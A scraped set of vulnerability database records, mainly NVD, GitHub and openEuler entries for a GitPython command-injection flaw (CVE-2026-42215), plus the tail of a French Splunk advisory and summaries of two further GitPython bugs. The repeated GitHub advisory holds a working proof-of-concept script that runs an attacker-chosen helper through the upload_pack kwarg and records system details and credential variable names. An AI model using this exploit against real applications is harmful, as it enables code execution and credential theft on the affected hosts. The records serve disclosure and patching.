"description": "Injection SQL (SQLi)"
},
{
"description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
},
{
"description": "D\u00e9ni de service"
},
{
"description": "Falsification de requ\u00eates c\u00f4t\u00e9 serveur (SSRF)"
},
{
"description": "Contournement de la politique de s\u00e9curit\u00e9"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits Splunk. Certaines d\u0027entre elles permettent \u00e0 un attaquant de provoquer une ex\u00e9cution de code arbitraire \u00e0 distance, une \u00e9l\u00e9vation de privil\u00e8ges et une atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es.",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits Splunk",
"vendor_advisories": [
{
"published_at": "2026-08-19",
"title": "Bulletin de s\u00e9curit\u00e9 Splunk SVD-2026-0807",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0807"
},
{
"published_at": "2026-08-19",
"title": "Bulletin de s\u00e9curit\u00e9 Splunk SVD-2026-0805",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0805"
},
{
"published_at": "2026-08-19",
"title": "Bulletin de s\u00e9curit\u00e9 Splunk SVD-2026-0803",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0803"
},
{
"published_at": "2026-08-19",
"title": "Bulletin de s\u00e9curit\u00e9 Splunk SVD-2026-0802",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0802"
},
{
"published_at": "2026-08-19",
"title": "Bulletin de s\u00e9curit\u00e9 Splunk SVD-2026-0801",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0801"
},
{
"published_at": "2026-08-19",
"title": "Bulletin de s\u00e9curit\u00e9 Splunk SVD-2026-0808",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0808"
},
{
"published_at": "2026-08-19",
"title": "Bulletin de s\u00e9curit\u00e9 Splunk SVD-2026-0806",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0806"
},
{
"published_at": "2026-08-19",
"title": "Bulletin de s\u00e9curit\u00e9 Splunk SVD-2026-0804",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0804"
}
]
}
FKIE_CVE-2026-42215
Vulnerability from fkie_nvd - Published: 2026-05-07 19:16 - Updated: 2026-06-17 10:47| Vendor | Product | Version | |
|---|---|---|---|
| gitpython_project | gitpython | * |
{
"affected": [
{
"affectedData": [
{
"product": "GitPython",
"vendor": "gitpython-developers",
"versions": [
{
"status": "affected",
"version": "\u003e= 3.1.30, \u003c 3.1.47"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:python:*:*",
"matchCriteriaId": "701208D3-FB36-4DB9-9553-7325AA3B3B9F",
"versionEndExcluding": "3.1.47",
"versionStartIncluding": "3.1.30",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47."
}
],
"id": "CVE-2026-42215",
"lastModified": "2026-06-17T10:47:31.463",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-42215",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-08T00:00:00+00:00",
"version": "2.0.3"
}
}
]
},
"published": "2026-05-07T19:16:01.640",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch",
"Release Notes"
],
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-78"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-RPM5-65CW-6HJ4
Vulnerability from github – Published: 2026-04-25 23:42 – Updated: 2026-05-08 21:52Summary
GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.
Details
GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:
git/repo/base.py:145-153marks clone options such as--upload-pack,-u,--config, and-cas unsafe.git/remote.py:535-548marks fetch/pull/push options such as--upload-pack,--receive-pack, and--execas unsafe.
The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:
Repo.clone_from()checkslist(kwargs.keys())ingit/repo/base.py:1387-1390Remote.fetch()checkslist(kwargs.keys())ingit/remote.py:1070-1071Remote.pull()checkslist(kwargs.keys())ingit/remote.py:1124-1125Remote.push()checkslist(kwargs.keys())ingit/remote.py:1197-1198
That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.
Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:
upload_pack=...becomes--upload-pack=...receive_pack=...becomes--receive-pack=...
Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.
In practice:
remote.fetch(**{"upload-pack": helper})is blocked withUnsafeOptionErrorremote.fetch(upload_pack=helper)is allowed and reaches helper execution
The same bypass works for:
Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)
This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.
Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:
test/test_clone.py:129-136checks{"upload-pack": ...}test/test_remote.py:830-833checks{"upload-pack": ...}test/test_remote.py:968-975checks{"receive-pack": ...}
Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.
PoC
- Create and activate a virtual environment in the repository root:
python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate
- make a new python file and put the following in there, then run it:
import os
import stat
import subprocess
import tempfile
from git import Repo
from git.exc import UnsafeOptionError
# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")
# Setup: this wrapper is just to demo things you can do, not required for the exploit to work
# you could also do something like an SSH reverse shell, really anything
with open(wrapper, "w") as f:
f.write(f"""#!/bin/sh
{{
echo "code_exec=1"
echo "whoami=$(id)"
echo "cwd=$(pwd)"
echo "uname=$(uname -a)"
printf 'argv='; printf '<%s>' "$@"; echo
env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true
}} > '{proof}'
exec git-upload-pack "$@"
""")
os.chmod(wrapper, stat.S_IRWXU)
subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
with open(os.path.join(producer, "README"), "w") as f:
f.write("x")
subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL)
subprocess.run(
["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"],
check=True,
stdout=subprocess.DEVNULL,
)
subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
repo = Repo(victim)
remote = repo.remote("origin")
# the literal Git option name is properly blocked.
try:
remote.fetch(**{"upload-pack": wrapper})
print("control=unexpected_success")
except UnsafeOptionError:
print("control=blocked")
# this is the actual vulnerability
# you can also just do upload_pack="touch /tmp/proof", the wrapper is just to show greater impact
# if you do the "touch /tmp/proof" the script will crash, but the file will have been created
remote.fetch(upload_pack=wrapper)
# Proof: the helper ran as the GitPython host process.
print("proof_exists", os.path.exists(proof), proof)
print(open(proof).read())
-
Expected result:
-
The script prints
control=blocked - The script prints
proof_exists True ... - The proof file contains evidence that the attacker-controlled helper executed as the local application account, including
id, working directory, argv, and selected environment variable names
Example output:
GitPython % python3 test.py
control=blocked
proof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt
code_exec=1
whoami=uid=501(wes) gid=20(staff) <redacted>
cwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim
uname=Darwin <redacted> Darwin Kernel Version <redacted>; root:xnu-11417. <redacted>
argv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>
USER=<redacted>
SSH_AUTH_SOCK=<redacted>
PATH=<redacted>
HOME=<redacted>
This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into --upload-pack.
Impact
Who is impacted:
- Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior
- Systems that accept a user-provided dict of "extra Git options" and pass it into GitPython with **kwargs
- CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )
What the attacker needs to control:
- A value that becomes
upload_packorreceive_packin the kwargs passed toRepo.clone_from(),Remote.fetch(),Remote.pull(), orRemote.push()
From a severity perspective, this could lead to - Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process - Modification of repositories, build outputs, or release artifacts - Lateral movement from CI/CD workers or automation hosts - Full compromise of the worker or service process handling repository operations
The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.30"
},
{
"fixed": "3.1.47"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42215"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-25T23:42:16Z",
"nvd_published_at": "2026-05-07T19:16:01Z",
"severity": "HIGH"
},
"details": "### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they\u0027re its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\"upload-pack\": helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\": ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper = os.path.join(base, \"wrapper.sh\")\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, \"w\") as f:\n f.write(f\"\"\"#!/bin/sh\n{{\n echo \"code_exec=1\"\n echo \"whoami=$(id)\"\n echo \"cwd=$(pwd)\"\n echo \"uname=$(uname -a)\"\n printf \u0027argv=\u0027; printf \u0027\u003c%s\u003e\u0027 \"$@\"; echo\n env | grep -E \u0027^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=\u0027 | sed \u0027s/=.*$/=\u003credacted\u003e/\u0027 || true\n}} \u003e \u0027{proof}\u0027\nexec git-upload-pack \"$@\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\", \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith open(os.path.join(producer, \"README\"), \"w\") as f:\n f.write(\"x\")\n\nsubprocess.run([\"git\", \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\", \"commit\", \"-m\", \"init\"],\n check=True,\n stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\", \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo = Repo(victim)\nremote = repo.remote(\"origin\")\n\n# the literal Git option name is properly blocked.\ntry:\n remote.fetch(**{\"upload-pack\": wrapper})\n print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n print(\"control=blocked\")\n\n# this is the actual vulnerability\n# you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just to show greater impact\n# if you do the \"touch /tmp/proof\" the script will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n# Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\", os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists True ...`\n- The proof file contains evidence that the attacker-controlled helper executed as the local application account, including `id`, working directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes) gid=20(staff) \u003credacted\u003e\ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin \u003credacted\u003e Darwin Kernel Version \u003credacted\u003e; root:xnu-11417. \u003credacted\u003e\nargv=\u003c/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git\u003e\nUSER=\u003credacted\u003e\nSSH_AUTH_SOCK=\u003credacted\u003e\nPATH=\u003credacted\u003e\nHOME=\u003credacted\u003e\n```\n\nThis PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into `--upload-pack`.\n\n### Impact\nWho is impacted:\n- Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior\n- Systems that accept a user-provided dict of \"extra Git options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )\n\nWhat the attacker needs to control:\n\n- A value that becomes `upload_pack` or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this could lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process\n- Modification of repositories, build outputs, or release artifacts\n- Lateral movement from CI/CD workers or automation hosts\n- Full compromise of the worker or service process handling repository operations\n\nThe highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.",
"id": "GHSA-rpm5-65cw-6hj4",
"modified": "2026-05-08T21:52:12Z",
"published": "2026-04-25T23:42:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42215"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython has Command Injection via Git options bypass"
}
OESA-2026-2306 (CVE-2026-42215)
Vulnerability from osv_openeuler – Published: 2026-05-15 11:11 – Updated: 2026-08-06 11:11 – Source websiteGitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.
Security Fix(es):
Summary
GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.
Details
GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:
git/repo/base.py:145-153marks clone options such as--upload-pack,-u,--config, and-cas unsafe.git/remote.py:535-548marks fetch/pull/push options such as--upload-pack,--receive-pack, and--execas unsafe.
The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:
Repo.clone_from()checkslist(kwargs.keys())ingit/repo/base.py:1387-1390Remote.fetch()checkslist(kwargs.keys())ingit/remote.py:1070-1071Remote.pull()checkslist(kwargs.keys())ingit/remote.py:1124-1125Remote.push()checkslist(kwargs.keys())ingit/remote.py:1197-1198
That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.
Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:
upload_pack=...becomes--upload-pack=...receive_pack=...becomes--receive-pack=...
Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.
In practice:
remote.fetch(**{"upload-pack": helper})is blocked withUnsafeOptionErrorremote.fetch(upload_pack=helper)is allowed and reaches helper execution
The same bypass works for:
Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)
This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.
Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:
test/test_clone.py:129-136checks{"upload-pack": ...}test/test_remote.py:830-833checks{"upload-pack": ...}test/test_remote.py:968-975checks{"receive-pack": ...}
Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.
PoC
- Create and activate a virtual environment in the repository root:
python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate
- make a new python file and put the following in there, then run it:
```python import os import stat import subprocess import tempfile
from git import Repo from git.exc import UnsafeOptionError
Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-") origin = os.path.join(base, "origin.git") producer = os.path.join(base, "producer") victim = os.path.join(base, "victim") proof = os.path.join(base, "proof.txt") wrapper = os.path.join(base, "wrapper.sh")
Setup: this wrapper is just to demo things you can do, not required for the exploit to work
you could also do something like an SSH reverse shell, really anything
with open(wrapper, "w") as f: f.write(f"""#!/bin/sh {{ echo "code_exec=1" echo "whoami=$(id)" echo "cwd=$(pwd)" echo "uname=$(uname -a)" printf 'argv='; printf '<%s>' "$@"; echo env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=(CVE-2026-42215)
A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository's .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.(CVE-2026-44243)
GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \\n becomes \\n\\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.
The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.
This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.
Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.(CVE-2026-44244)
| URL | Type | |
|---|---|---|
{
"affected": [
{
"ecosystem_specific": {
"noarch": [
"python-GitPython-help-3.1.49-1.oe2403.noarch.rpm",
"python3-GitPython-3.1.49-1.oe2403.noarch.rpm"
],
"src": [
"python-GitPython-3.1.49-1.oe2403.src.rpm"
]
},
"package": {
"ecosystem": "openEuler:24.03-LTS",
"name": "python-GitPython",
"purl": "pkg:rpm/openEuler/python-GitPython\u0026distro=openEuler-24.03-LTS"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.49-1.oe2403"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"severity": "High"
},
"details": "GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\n### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they\u0026apos;re its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\u0026quot;upload-pack\u0026quot;: helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).fetch(upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).pull(upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{\u0026quot;upload-pack\u0026quot;: ...}`\n- `test/test_remote.py:830-833` checks `{\u0026quot;upload-pack\u0026quot;: ...}`\n- `test/test_remote.py:968-975` checks `{\u0026quot;receive-pack\u0026quot;: ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\u0026quot;gp-poc-risk-\u0026quot;)\norigin = os.path.join(base, \u0026quot;origin.git\u0026quot;)\nproducer = os.path.join(base, \u0026quot;producer\u0026quot;)\nvictim = os.path.join(base, \u0026quot;victim\u0026quot;)\nproof = os.path.join(base, \u0026quot;proof.txt\u0026quot;)\nwrapper = os.path.join(base, \u0026quot;wrapper.sh\u0026quot;)\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, \u0026quot;w\u0026quot;) as f:\n f.write(f\u0026quot;\u0026quot;\u0026quot;#!/bin/sh\n{{\n echo \u0026quot;code_exec=1\u0026quot;\n echo 